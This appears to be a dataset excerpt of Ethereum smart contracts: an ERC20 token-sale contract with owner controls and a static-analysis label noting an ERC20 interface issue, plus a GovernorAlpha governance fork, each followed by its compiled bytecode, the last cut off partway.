'LXRY', 1000000) public { unitsOneEthCanBuy = 80000; soldTokens = 0; minPurchaseQty = 16000 * 10 ** uint256(decimals); } function changeOwnerWithTokens(address newOwner) onlyOwner public { uint previousBalances = balanceOf[owner] + balanceOf[newOwner]; balanceOf[newOwner] += balanceOf[owner]; balanceOf[owner] = 0; assert(balanceOf[owner] + balanceOf[newOwner] == previousBalances); owner = newOwner; } function changePrice(uint256 _newAmount) onlyOwner public { unitsOneEthCanBuy = _newAmount; } function startSale() onlyOwner public { soldTokens = 0; } function increaseSaleLimit(uint256 TokenSale) onlyOwner public { TokenForSale = TokenSale * 10 ** uint256(decimals); } function increaseMinPurchaseQty(uint256 newQty) onlyOwner public { minPurchaseQty = newQty * 10 ** uint256(decimals); } function airDrop(address[] _recipient, uint _totalTokensToDistribute) onlyOwner public { uint256 total_token_to_transfer = (_totalTokensToDistribute * 10 ** uint256(decimals)).mul(_recipient.length); require(balanceOf[owner] >= total_token_to_transfer); for(uint256 i = 0; i< _recipient.length; i++) { if (!airdrops[_recipient[i]]) { airdrops[_recipient[i]] = true; _transfer(owner, _recipient[i], _totalTokensToDistribute * 10 ** uint256(decimals)); } } } function() public payable whenNotPaused CheckSaleStatus { uint256 eth_amount = msg.value; uint256 amount = eth_amount.mul(unitsOneEthCanBuy); soldTokens = soldTokens.add(amount); require(amount >= minPurchaseQty ); require(balanceOf[owner] >= amount ); _transfer(owner, msg.sender, amount); //Transfer ether to fundsWallet owner.transfer(msg.value); } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102d3578063095ea7b31461036357806318160ddd146103c857806323b872dd146103f35780632ebeee0f14610478578063313ce567146104a55780633a9588ba146104d65780633f4ba83a146105195780634f0f97ab146105305780635c975abb1461055b5780635ed9ebfc1461058a57806365f2bc2e146105b557806370a08231146105e05780638456cb59146106375780638c86f0a71461064e5780638da5cb5b146106a957806395d89b4114610700578063a2b40d1914610790578063a9059cbb146107bd578063b66a0e5d1461080a578063c030f3e214610821578063cae9ca511461084e578063dd62ed3e146108f9578063ee2b78a114610970578063f2fde38b1461099b578063fd1fc4a0146109de575b600080600060149054906101000a900460ff1615151561017357600080fd5b6008546005541015151561018657600080fd5b34915061019e60095483610a4e90919063ffffffff16565b90506101b581600854610a8190919063ffffffff16565b600881905550600a5481101515156101cc57600080fd5b80600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561023b57600080fd5b6102676000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383610a9f565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102ce573d6000803e3d6000fd5b505050005b3480156102df57600080fd5b506102e8610e45565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032857808201518184015260208101905061030d565b50505050905090810190601f1680156103555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036f57600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee3565b604051808215151515815260200191505060405180910390f35b3480156103d457600080fd5b506103dd610f70565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f76565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104a360048036038101908080359060200190929190505050611128565b005b3480156104b157600080fd5b506104ba6111a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104e257600080fd5b50610517600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b7565b005b34801561052557600080fd5b5061052e6114bb565b005b34801561053c57600080fd5b50610545611579565b6040518082815260200191505060405180910390f35b34801561056757600080fd5b5061057061157f565b604051808215151515815260200191505060405180910390f35b34801561059657600080fd5b5061059f611592565b6040518082815260200191505060405180910390f35b3480156105c157600080fd5b506105ca611598565b6040518082815260200191505060405180910390f35b3480156105ec57600080fd5b50610621600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061159e565b6040518082815260200191505060405180910390f35b34801561064357600080fd5b5061064c6115b6565b005b34801561065a57600080fd5b5061068f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611676565b604051808215151515815260200191505060405180910390f35b3480156106b557600080fd5b506106be611696565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070c57600080fd5b506107156116bb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107bb60048036038101908080359060200190929190505050611759565b005b3480156107c957600080fd5b50610808600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117be565b005b34801561081657600080fd5b5061081f6117cd565b005b34801561082d57600080fd5b5061084c60048036038101908080359060200190929190505050611832565b005b34801561085a57600080fd5b506108df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506118ae565b604051808215151515815260200191505060405180910390f35b34801561090557600080fd5b5061095a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a31565b6040518082815260200191505060405180910390f35b34801561097c57600080fd5b50610985611a56565b6040518082815260200191505060405180910390f35b3480156109a757600080fd5b506109dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5c565b005b3480156109ea57600080fd5b50610a4c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611afa565b005b60008082840290506000841480610a6f5750828482811515610a6c57fe5b04145b1515610a7757fe5b8091505092915050565b6000808284019050838110151515610a9557fe5b8091505092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610ac657600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b1457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610ba257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050610c7782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4990919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a8190919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401141515610e3f57fe5b50505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610edb5780601f10610eb057610100808354040283529160200191610edb565b820191906000526020600020905b815481529060010190602001808311610ebe57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561100357600080fd5b61109282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061111d848484610a9f565b600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118357600080fd5b600360009054906101000a900460ff1660ff16600a0a8102600a8190555050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121457600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561147757fe5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151657600080fd5b600060149054906101000a900460ff16151561153157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60055481565b600060149054906101000a900460ff1681565b60085481565b60095481565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161157600080fd5b600060149054906101000a900460ff1615151561162d57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117515780601f1061172657610100808354040283529160200191611751565b820191906000526020600020905b81548152906001019060200180831161173457829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117b457600080fd5b8060098190555050565b6117c9338383610a9f565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182857600080fd5b6000600881905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188d57600080fd5b600360009054906101000a900460ff1660ff16600a0a810260058190555050565b6000808490506118be8585610ee3565b15611a28578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119b857808201518184015260208101905061199d565b50505050905090810190601f1680156119e55780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a0757600080fd5b505af1158015611a1b573d6000803e3d6000fd5b5050505060019150611a29565b5b509392505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5857600080fd5b611b838451600360009054906101000a900460ff1660ff16600a0a8502610a4e90919063ffffffff16565b915081600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611bf457600080fd5b600090505b8351811015611d4357600b60008583815181101515611c1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d36576001600b60008684815181101515611c8057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d356000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff168583815181101515611d0e57fe5b90602001906020020151600360009054906101000a900460ff1660ff16600a0a8602610a9f565b5b8080600101915050611bf9565b50505050565b6000828211151515611d5757fe5b8183039050929150505600a165627a7a72305820c56c55f51d8b68c5f9e2b7d7599f787061a447cda8333c47b75106e21621ff3a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
586
0x0599F087dF7900a1F806C5D149387Ee6e0a8BFCB
/* Copyright 2021 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; pragma experimental ABIEncoderV2; /* * audit-info: Forked from Compound's GovernorAlpha contract: * https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol * * Sections that have been changed from the original have been denoted with audit notes * Additionally "Comp" has been renamed to "Stake" throughout */ contract GovernorAlpha { /* * audit-info: Beginning of modified code section */ /// @notice The name of this contract string public constant name = "Empty Set Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed /// @dev Initial ESDS supply will be approximately 1.6b - 2.0b depending on initial incentive programs function quorumVotes() public pure returns (uint) { return 100000000e18; } // 100,000,000 = ~5% of Stake /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 10000000e18; } // 10,000,000 = ~0.5% of Stake /* * audit-info: End of modified code section */ /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Empty Set Dollar Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Empty Set Dollar governance token StakeInterface public stake; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address stake_, address guardian_) public { timelock = TimelockInterface(timelock_); stake = StakeInterface(stake_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(stake.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || stake.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = stake.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface StakeInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c8063452a9320116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610463578063deaaa7cc14610483578063e23a9a5214610498578063fe0d94c1146104c55761019c565b8063d33219b414610419578063da35c6641461042e578063da95691a146104435761019c565b80637bdbe4d0116100c65780637bdbe4d0146103ba57806391500671146103cf578063b58131b0146103ef578063b9a61961146104045761019c565b8063452a9320146103635780634634c61f14610385578063760fbc13146103a55761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633a4b66f1146102f45780633e4f49e61461031657806340e58ee5146103435761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc36600461244d565b6104d8565b6040516101d6999897969594939291906135b2565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d691906132df565b34801561020d57600080fd5b50610216610538565b6040516101d6919061339b565b34801561022f57600080fd5b5061024361023e36600461249b565b61056c565b005b34801561025157600080fd5b506101f4610260366004612290565b61057b565b34801561027157600080fd5b506101f461058d565b34801561028657600080fd5b506102436102953660046122b6565b6105a4565b3480156102a657600080fd5b506101f461068b565b3480156102bb57600080fd5b506102cf6102ca36600461244d565b61069a565b6040516101d69493929190613292565b3480156102eb57600080fd5b506101f4610929565b34801561030057600080fd5b5061030961092e565b6040516101d6919061337f565b34801561032257600080fd5b5061033661033136600461244d565b61093d565b6040516101d6919061338d565b34801561034f57600080fd5b5061024361035e36600461244d565b610abf565b34801561036f57600080fd5b50610378610d28565b6040516101d6919061313c565b34801561039157600080fd5b506102436103a03660046124cb565b610d37565b3480156103b157600080fd5b50610243610ecf565b3480156103c657600080fd5b506101f4610f0b565b3480156103db57600080fd5b506102436103ea3660046122b6565b610f10565b3480156103fb57600080fd5b506101f4610fe5565b34801561041057600080fd5b50610243610ff4565b34801561042557600080fd5b50610309611079565b34801561043a57600080fd5b506101f4611088565b34801561044f57600080fd5b506101f461045e3660046122f0565b61108e565b34801561046f57600080fd5b5061024361047e36600461244d565b6114b0565b34801561048f57600080fd5b506101f461171a565b3480156104a457600080fd5b506104b86104b336600461246b565b611726565b6040516101d691906134fc565b6102436104d336600461244d565b611795565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b6143805b90565b60405180604001604052806018815260200177456d7074792053657420476f7665726e6f7220416c70686160401b81525081565b61057733838361195a565b5050565b60056020526000908152604090205481565b60405161059990613126565b604051809103902081565b6002546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce906133dc565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061060190879060200161313c565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016106309493929190613165565b600060405180830381600087803b15801561064a57600080fd5b505af115801561065e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106869190810190612418565b505050565b6a52b7d2dcc80cd2e400000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561071c57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106fe575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076e57602002820191906000526020600020905b81548152602001906001019080831161075a575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108415760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561082d5780601f106108025761010080835404028352916020019161082d565b820191906000526020600020905b81548152906001019060200180831161081057829003601f168201915b505050505081526020019060010190610796565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109135760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108ff5780601f106108d4576101008083540402835291602001916108ff565b820191906000526020600020905b815481529060